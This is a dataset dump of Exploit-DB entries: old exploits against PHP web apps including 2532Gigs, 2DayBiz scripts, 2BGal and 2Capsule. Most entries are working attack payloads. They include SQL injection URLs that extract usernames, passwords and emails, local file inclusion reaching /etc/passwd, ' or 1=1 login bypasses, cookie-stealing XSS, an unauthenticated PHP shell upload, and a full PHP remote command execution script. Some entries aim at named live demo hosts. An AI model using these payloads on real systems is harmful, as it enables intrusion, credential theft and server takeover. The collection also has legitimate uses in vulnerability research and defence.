deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30560
Description: 212Cafe WebBoard 6.30 - 'Read.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-04
Author: Lopez Bran Digrap

Exploit:
source: https://www.securityfocus.com/bid/25526/info

212cafe Webboard is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Webboard 6.30 is vulnerable; other versions may also be affected.

http://www.example.com/Board/read.php?id=[SQL]
Exploit-DB #4317
Description: 2532/Gigs 1.2.1 - 'activateuser.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-08-26
Author: bd0rk

Exploit:
            -째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째

             2532|Gigs 1.2.1 (activateuser.php) Local File Inclusion Vulnerability

                              Discovered by bd0rk || SOH-Crew

                                    www.soh-crew.it.tt

                         The german Coding and IT-Security Ressource

             -째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째-째


Vendor: http://www.2532gigs.com

Download: http://belnet.dl.sourceforge.net/sourceforge/gigs-2532/2532Gigs_1.2.1_stable.zip

License: Free

Vulnerable Code: include_once("languages/$language/settings.php");



Exploit: http://[h0sT]/[dir]/activateuser.php?language=../../../../../../../../etc/passwd%00



Greetings: str0ke, TheJT, GolD_M, die steffi, khaliDb, x0r_32


####The 18 years old, german Hacker bd0rk####

# milw0rm.com [2007-08-26]
Exploit-DB #5465
Description: 2532/Gigs 1.2.2 - Arbitrary Database Backup/Download
Type: webapps
Platform: php
Date: 2008-04-18
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+          2532|Gigs <= 1.2.2 Arbitrary Remote Database Backup/Download          +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 18 April 2008
Script Download: http://www.2532gigs.com/?download=2532Gigs_stable
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
2532|Gigs does not validate a user in "backup.php" this means any user can visit and backup.
of course some GET variables are being used but thats all.

running the below url/path on a server that is running 2532|Gigs will make a backup of the database
and save it too "http://site.com/2532gigs/backup.sql"


Vulnerability:
http://site.com/2532gigs/backup.php?export=1


NOTE/TIP: 
you must be logged in to a ordinary user account for this too work!


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+          2532|Gigs <= 1.2.2 Arbitrary Remote Database Backup/Download          +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-18]
Exploit-DB #7510
Description: 2532/Gigs 1.2.2 Stable - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-12-18
Author: Osirys

Exploit:
[START]

#########################################################################################
[0x01] Informations:

Script         : 2532|Gigs v1.2 Stable
Download       : http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
Dork           : Powered by 2532|Gigs v1.2.2
Vulnerability  : Local File Inclusion / Remote File Upload
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


#########################################################################################
[0x02] Bug: [Multiple Local File Inclusions]
######

Bugged file is: /[path]/settings.php
Bugged file is: /[path]/deleteuser.php
Bugged file is: /[path]/mini_calendar.php
Bugged file is: /[path]/manage_venues.php
Bugged file is: /[path]/manage_gigs.php

* There are a lot of other files vulnerable to LFI !

[CODE]

<?php
/*
2532|Gigs v1.1
www.2532gigs.com
./settings.php
*/

  // Load the settings.php language file
  include_once("languages/$language/settings.php");

[/CODE]

settings.php page starts in this way. Includes a non declarate variable -> $language

[!] FIX: Declare $language var.


[!] EXPLOIT: /[path]/settings.php?language=[local_file_to_include]
[!] EXPLOIT: /[path]/deleteuser.php?language=[local_file_to_include]
[!] EXPLOIT: /[path]/mini_calendar?language=[local_file_to_include]
[!] EXPLOIT: /[path]/manage_venues.php?language=[local_file_to_include]
[!] EXPLOIT: /[path]/manage_gigs.php?language=[local_file_to_include]
                                           ../../../../../../../../../../etc/passwd%00


#########################################################################################
[0x03] Bug: [Remote File Upload]
######

Bugged file is: /[path]/upload_flyer.php

[CODE]

if (isset($_POST['submitflyer']))
   {
   if (strlen($_FILES['banner']['name']) > 0)
{
$target = "flyers/".$_FILES['banner']['name'];
move_uploaded_file($_FILES['banner']['tmp_name'], $target);

// Other code, like it cheeks if /[path]/flyers dir is writable or not !

[/CODE]

As we can see, everyone can upload everything that he wants. There is not login required,
and there isn't a cheek for the extension of the file that is going to be uploaded.
So, an unregistered user can upload a file of any extension, like a .php file. Why not
a php shell ?

[!] FIX: Before the upload script, just cheek if the user is registered, and then allow him
         only to upload .gif/jpg or the extension you want, not .php or other extensions !


[!] EXPLOIT:
             1) Go to: /path/upload_flyer.php
             2) Select your local file to upload
             3) Press submit button
             4) Cheek your file at: /[path]/flyers/your_local_file.your_extension


#########################################################################################

[/END]

# milw0rm.com [2008-12-18]
Exploit-DB #7511
Description: 2532/Gigs 1.2.2 Stable - Remote Authentication Bypass
Type: webapps
Platform: php
Date: 2008-12-18
Author: StAkeR

Exploit:
/* ------------------------------------------------------------------------------------------------
 * 2532|Gigs 1.2.2 Stable Remote Login Bypass Vulnerability
 * ------------------------------------------------------------------------------------------------
 * by athos - staker[at]hotmail[dot]it
 * http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
 * ------------------------------------------------------------------------------------------------
 * File Vuln checkuser.php
 *
 * 16. $username = $_POST['username'];
 * 17. $password = $_POST['password'];
 * ... 
 * 41. $query = "SELECT * FROM $dbt_users WHERE username = '$username' AND [CREDENTIAL_REDACTED]'" ;
 * 42. $result = mysql_query($query) or die ( "Error in query: $query. " . mysql_error() );
 * ------------------------------------------------------------------------------------------------
 * Exploit
 *
 * http://[host]/[path]/index.php?id=login
 * 
 * Username: [username]
 * Password: [' or 1=1--]
 * ------------------------------------------------------------------------------------------------
 * Fix (Examples)
 *  
 * $username = mysql_real_escape_string($_POST['username']); 
 * $password = mysql_real_escape_string($_POST['password']);
 * 
 * ------------------------------------------------------------------------------------------------
 */

# milw0rm.com [2008-12-18]
Exploit-DB #7512
Description: 2532/Gigs 1.2.2 Stable - Remote Command Execution
Type: webapps
Platform: php
Date: 2008-12-18
Author: StAkeR

Exploit:
<?php


/* ----------------------------------------------------------------
 * 2532|Gigs 1.2.2 Stable Remote Command Execution Exploit
 * ----------------------------------------------------------------
 * by athos - staker[at]hotmail[dot]it 
 * works regardless php.ini settings
 * http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
 * ----------------------------------------------------------------
 * Code Details (calcss_edit.php)
 *  
 * 1. <?php
 * 2. ...
 * 12. sleep(2);
 * 13. $id = $_POST["id"];
 * 14. $content = $_POST["content"];
 * 15. //lets write the updated CSS file
 * 16. $filename = "css/calendar.css";
 * 17. $theText = stripslashes($content);
 * 18. $data = fopen($filename, "w");
 * 19. fwrite($data,$content);
 * 20. fclose($data);
 * 21. // display the new css file
 * 22. include("css/calendar.css");
 * 23 ?>
 * ----------------------------------------------------------------
 * Fix
 * 
 * <?php
 * 
 * if(eregi('calcss_edit.php',$_SERVER['PHP-SELF']))
 * {
 *      die("Access Not Allowed");
 * }
 * 
 * ...
 * ?>
 * 
 */



error_reporting(0);

$host = explode('/',$argv[1]);
$exec = $argv[2] or usage();


$sock = fsockopen($host[0],80);

$post = "content=<?php passthru('{$exec}');?>";
$leng = strlen($post);

$data = "POST /{$host[1]}/calcss_edit.php HTTP/1.1\r\n".
        "Host: {$host[0]}\r\n".
        "User-Agent: Lynx (textmode)\r\n".
        "Content-Type: application/x-www-form-urlencoded\r\n".
        "Accept-Encoding: text/plain\r\n".
        "Content-Length: {$leng}\r\n\r\n{$post}\r\n\r\n";

fputs($sock,$data);

while(!feof($sock)) {
$html .= fgets($sock);
} fclose($sock);

echo $html; 



function usage() {


print_r('
-------------------------------------------------------
2532|Gigs 1.2.2 Stable Remote Command Execution Exploit
-------------------------------------------------------
by athos - staker[at]hotmail[dot]it
works regardless php.ini settings

Usage: php xpl.php [host/path] [command]
       php xpl.php localhost/cms cat ../../../etc/passwd
       php xpl.php localhost/cms "uname -a"
       
'); exit(0);



}


?>

# milw0rm.com [2008-12-18]
Exploit-DB #25045
Description: 2BGal 2.5.1 - SQL Injection
Type: webapps
Platform: php
Date: 2004-12-22
Author: zib

Exploit:
source: https://www.securityfocus.com/bid/12083/info

A remote SQL injection vulnerability reportedly affects 2Bgal. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in an SQL query.

An attacker may leverage this issue to manipulate SQL query strings and potentially carry out arbitrary database queries. This may facilitate the disclosure or corruption of sensitive database information. 

http://www.example.com/2bgal/disp_album.php?id_album=2%20UNION%20SELECT%20passwd%20as%20nom,%20idpere%20FROM%20galbumlist%20LIMIT%201;--
Exploit-DB #7631
Description: 2Capsule - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-01
Author: Zenith

Exploit:
--==+================================================================================+==--
--==+             2Capsule Sticker Remote SQL Injection Vulnerability                +==--
--==+================================================================================+==--
-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
AUTHOR: Zenith
Homepage : www.thaishadow.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-
Script: www.2Capsule.com
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DORK (google): "inurl:sticker/sticker.php?id="
-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
DESCRIPTION:
EXPLOITS:

localhost.com/sticker/sticker.php?id=1'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*

livedemo :http://www.musicza.com/homenew//sticker/sticker.php?id=1%27+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*

-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Special Thx : THD [Thaishadow]

# milw0rm.com [2009-01-01]
Exploit-DB #14048
Description: 2DayBiz - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-06-25
Author: Sangteamtham

Exploit:
$-------------------------------------------------------------------------------------------------------------------
$ 2daybiz custom T-shirt SQL Injection and Cross Site Scripting
Vulnerabilities
$ Author : Sangteamtham
$ Home : Hcegroup.net
$ Download :http://www.2daybiz.com/customt-shirt_designscript.html
$ Date :06/25/2010
$
$******************************************************************************************
$Exploit:
$
$ 1.SQL injection:
$
$ http://server/products_details.php?sbid=[id number]
$ http://server/products/products.php?pid=[id number]
$ http://server/designview.php?designid=[id number]
$
$
$
$
$******************************************************************************************
$ Greetz to: All Vietnamese hackers and Hackers out there researching for
more security
$
$
$--------------------------------------------------------------------------------------------------------------------
Exploit-DB #12395
Description: 2DayBiz Advanced Poll Script - Cross-Site Scripting / Authentication Bypass
Type: webapps
Platform: php
Date: 2010-04-26
Author: Sid3^effects

Exploit:
    ______________________________________________________________________________
                         XSS and Authentication bypass in Advanced Poll Script
                                    Vendor:http://www.2daybiz.com/    ___________________________Author:Sid3^effects_________________________________
  

Description :

Advanced Poll is a polling system with powerful administration tool supports both text file and MySQL database. Its features include multiple polls, unlimited options, IP-Logging, IP-Locking, cookie support, comment feature, vote expire feature, and random poll support. 

script cost :$140
---------------------------------------------------------------------------
    * Authentication bypass:

    The following script has authentication bypass in the admin login as well as in user login 

    use ' or 1=1 or ''=' in both login and password.

user login  demo :http://server/polls/login.php
admin login demo: http://server/polls/admin/
---------------------------------------------------------------------------
    * XSS (cross site scripting ) :
       
    XSS is also found in the search field. 


 Attack Pattern: '"--> 

 DEMO:http://server/polls/index_search.php?category= [XSS]
---------------------------------------------------------------------------

ShoutZ :
------- 
               ---Indian Cyber warriors--Andhra hackers-- 

Greetz :
--------
 ---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j--MayUr--
Exploit-DB #12414
Description: 2DayBiz Auction Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-04-27
Author: Sid3^effects

Exploit:
      Authentication bypass in 2daybiz Auction Script
                            Vendor:http://www.2daybiz.com/
   _______________________Author:Sid3^effects aKa haRi_________________________________
  

Description :

  2daybiz Auction Script provides everything you need, to establish a professionally looking online Auction website like Ebay.com. You can create an efficient, trusted web platform to connect small and medium-sized buyers and suppliers from all around the world. 
 

script cost :$140
---------------------------------------------------------------------------
	* Authentication bypass:

	The following script has authentication bypass.

	use ' or 1=1 or ''=' in both login and password.

DEMO URL  :http://server/auction/index.php


ShoutZ :
------- 
               ---Indian Cyber warriors--Andhra hackers-- 

Greetz :
--------
 ---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j--MaYuR--
Exploit-DB #14051
Description: 2DayBiz B2B Portal Script - 'selling_buy_leads1.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-25
Author: r45c4l

Exploit:
# Exploit Title:   2daybiz B2B Portal Script Sql Injection
# Date: 25/06/2010
# Author: r45c4l
# Email: r45c4l[at]hotmail[dot]com
# Site : www.garage4hackers.com 
# Script url: http://www.2daybiz.com/b2bportal_script.html
# Version: N/A
# Tested on: Windows
# CVE : ()
 
:::::::::::::::::::::::::
 
:::::::::::::::::::::::::
 
=================Exploit======
                                    ---Indian Cyber warriors---

 
[ EXPL0!T ]

  SQL Injection
 
 p0c - www.site.com/products/business2business/selling_buy_leads1.php?cat_id=[SQLI]


===========================================================
 
Greetz to : Beenu Arora, Godwin Austin, Eberly, b0nd, the_empty_, micr0, Sandeep, Th3 RDX,

	    Vaibhav, All members of ICW and Hackers Garage, and all Indian Hackers 

Greetz to: Lucky and Atul and team ICA

PROUD TO BE AN INDIAN

c0d3 for motherland, h4ck for motherland

Special Greetz to : www.hack0wn.com    www.exploits-db.com   www.inj3ct0r.com
 
=== End () ====
Exploit-DB #14028
Description: 2DayBiz B2B Portal Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-24
Author: JaMbA

Exploit:
# Exploit Title:  2daybiz B2B Portal Script SQL injection Vulnerability
# Date: 24/06/2010
# Author: JaMbA
# Script url: http://www.2daybiz.com/b2bportal_script.html
# Version: **N/A
# Tested on: Windows
# CVE : ()


=================Exploit==================


[ EXPL0!T ]

 http://server/path/companyinfo.php?id=83(SQL)



===========================================================

Greetz to : Alnjm33-virus-pal - Predator-Ahmadso - xXx-jago-dz
-inejcteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ====
Exploit-DB #14357
Description: 2DayBiz Businesscard Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-07-14
Author: D4rk357

Exploit:
# Exploit Title: 2daybiz Businesscard Script Authentication bypass
# Date: 14th july 2010
# Author: D4rk357
#Critical:high
#contact:d4rk357[at]yahoo[dot]in
# Software Link:http://www.2daybiz.com/products/businesscard/index.php

Greetz to :b0nd, Fbih2s,rockey killer,The empty(), punter,eberly,prashant
Shoutz to : http://www.garage4hackers.com/forum.php , h4ck3r.in and  all ICW members

##############################################################################

2daybiz Businesscard Login Form Suffers from authentication bypass .
String used for authentication bypass is "a or 1=1" in username and password fields 
and it yeilds login .

#################################################################################
Exploit-DB #8702
Description: 2DayBiz Custom T-shirt Design - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-05-15
Author: snakespc

Exploit:
-------------------------AllaH AkbaR-------------------------------
Custom T-shirt Design (SQL & xss) MULTIPLE Remote Sql Injection
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:www.snakespc.com/sc/index.php
Chi3arona houa:
-------------------------SNAKES TEAM-------------------------------------
Script:2daybiz.com
Demo:http://www.2daybiz.com/tshirt_design_download.html
-------------------------SNAKES TEAM-------------------------------------
Exploit:
--------
Demo :sql
http://98.131.92.231/demo/tshirt2/product.php?id=-28+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+from+admin--

Demo: xss
http://98.131.92.231/demo/tshirt2/product.php?id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

-------------------------SNAKES TEAM-------------------------------------
His0k4:::Mr.HCOCA_MAN:::DrEaDFuL:::
yassine_enpsunhouse2:::aSSaSSin_HaCkErS
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-05-15]
Exploit-DB #14009
Description: 2DayBiz Freelance Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-23
Author: JaMbA

Exploit:
# Exploit Title:   2daybiz Freelance script  SQL injection Vulnerability
# Date: 24/06/2010
# Author: JaMbA
# Script url: http://www.2daybiz.com/freelance_script.html
# Version: N/A
# Tested on: Windows
# CVE : ()

:::::::::::::::::::::::::

:::::::::::::::::::::::::

=================Exploit======
============



[ EXPL0!T ]

 http://server/path/project_details.php?pid=68(SQL)



===========================================================

Greetz to : Alnjm33-virus-pal - Predator-Ahmadso - xXx-jago-dz
-inejcteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ====
Exploit-DB #14025
Description: 2DayBiz Job Site Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-24
Author: Sangteamtham

Exploit:
$-------------------------------------------------------------------------------------------------------------------
$ 2daybiz Job site Script SQL injection
$ Author : Sangteamtham
$ Home : Hcegroup.net
$ Download :http://www.2daybiz.com/realestate_portalscript.html
$ Date :06/24/2010
$
$******************************************************************************************
$Exploit:
$
$ http://server/view_current_job.php?jid=[id number][SQL]
$ http://server/show_search_more.php?job_iid=[id number][SQL]
$ http://server/show_search_result.php?left_cat=[id number][SQL]
$
$******************************************************************************************
$ Greetz to: All Vietnamese hackers and Hackers out there researching for
more security
$
$
$--------------------------------------------------------------------------------------------------------------------
Exploit-DB #14073
Description: 2DayBiz Matrimonial Script - 'smartresult.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-27
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+ICQ : 11-051-551
+Info : http://www.2daybiz.com/matrimonial_script.html
+Discovered by Easy Laster 4004-security-project.com
+Security Group Undergroundagents and 4004-Security-Project 4004-security-project.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox.
   
---------------------------------------------------------------------------------------
                                                                                        
 ___ ___ ___ ___                         _ _           _____           _         _
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|         
   
   
----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/script/smartresult.php?gender=&agefrom=&ageto=&marital
status=Never+Married&heightfrom=&heightto=&complexion=&special=None&community=&mother
=&pro=&diet=&country=&state1=&city1=&Search=Search
----------------------------------------------------------------------------------------
+POC : www.demo.com/script/smartresult.php?gender=&agefrom=&ageto=&maritalstatus=Never
+Married&heightfrom=&heightto=&complexion=%27+/**/union+/**/select+1,2,3,4,5,6,7,8,9,10
,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39
,40,41,GrOuP_CoNcAt%28id,0x3a,profileid,0x3a,password,0x3a,email%29,43,44,45,46,47,48,
49,50,51,52,53/**/from/**/memberregister/**/wHerE/**/id=1/**/--+&special=None&communi
ty=&mother=&pro=&diet=&country=&state1=&city1=&Search=Search